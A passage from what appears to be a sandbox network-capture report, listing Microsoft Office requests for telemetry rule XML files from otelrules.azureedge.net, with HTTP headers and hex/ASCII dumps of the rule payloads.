2024-12-06 23:15:53 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:55 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:55 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231555Z-r1cf579d7788pwqzhC1EWRrpd800000000zg000000004b7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:55 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:55 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:55 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 4ebcc1fc-101e-0028-09cb-458f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231555Z-1746fd949bdkw94lhC1EWRxuz4000000050g00000000ehq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:55 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:55 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:55 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:55 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231555Z-r1cf579d778zvkpnhC1EWRv23g00000000vg00000000acww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:55 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:55 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:55 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231555Z-r1cf579d778dc6d7hC1EWR2vs800000001bg000000005s12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:55 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:57 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:57 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231557Z-r1cf579d778kr8xrhC1EWRfkun0000000130000000008edk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:57 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:57 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231557Z-r1cf579d778t6txphC1EWRsd440000000180000000002fxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:57 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:57 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:57 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1a13e7cb-001e-0049-3bcd-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231557Z-1746fd949bdlqd7fhC1EWR6vt00000000520000000009nff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:57 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:57 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:57 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231557Z-r1cf579d778t6txphC1EWRsd440000000140000000009e8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:57 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:57 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:57 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231557Z-r1cf579d778dc6d7hC1EWR2vs80000000190000000009pf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:59 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231559Z-r1cf579d778dc6d7hC1EWR2vs800000001a0000000008k8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:59 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:59 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d3398a04-c01e-007a-0bce-45b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231559Z-1746fd949bdlqd7fhC1EWR6vt0000000052g000000007546 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:00 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:59 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
